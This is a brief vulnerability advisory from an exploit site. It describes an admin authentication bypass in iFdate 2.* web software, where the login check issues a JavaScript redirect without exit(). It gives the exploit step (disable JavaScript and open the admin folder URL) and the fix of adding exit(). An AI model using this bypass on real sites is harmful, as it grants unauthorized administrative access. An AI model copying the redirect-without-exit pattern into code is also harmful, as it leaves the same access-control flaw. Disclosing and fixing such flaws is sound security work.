ifdate-bypass.txt

`vendor : Liz0zim  
web: www.biyosecurity.net www.expw0rm.com  
  
  
Script Home Page : http://www.ifusionservices.co.uk/  
vul. version : iFdate 2.*  
  
vul code :  
  
all admin folder files   
  
///////////////////////////////////////  
// Checks user is logged in //  
///////////////////////////////////////  
if (($_SESSION['admin_area']=="Active")&&($admin_info['admin_status']=="Online")){  
} else {  
echo "<script>document.location.href='admin_login.php'</script>"; -------> Vul code   
}  
  
script coder don't write exit(); or die();   
  
  
open web browser setting disable javascript   
  
  
http://victim.com/[path]/admin/ :=) i am new admin  
  
-------------------------------------  
  
  
fix:  
  
  
///////////////////////////////////////  
// Checks user is logged in //  
///////////////////////////////////////  
if (($_SESSION['admin_area']=="Active")&&($admin_info['admin_status']=="Online")){  
} else {  
echo "<script>document.location.href='admin_login.php'</script>";   
exit(); //add code  
}  
  
  
Orginal: http://www.expw0rm.com/ifdate-2-unauthorized-administrative-access-bug_no285.html  
  
// Exploit Worm www.expw0rm.com  
`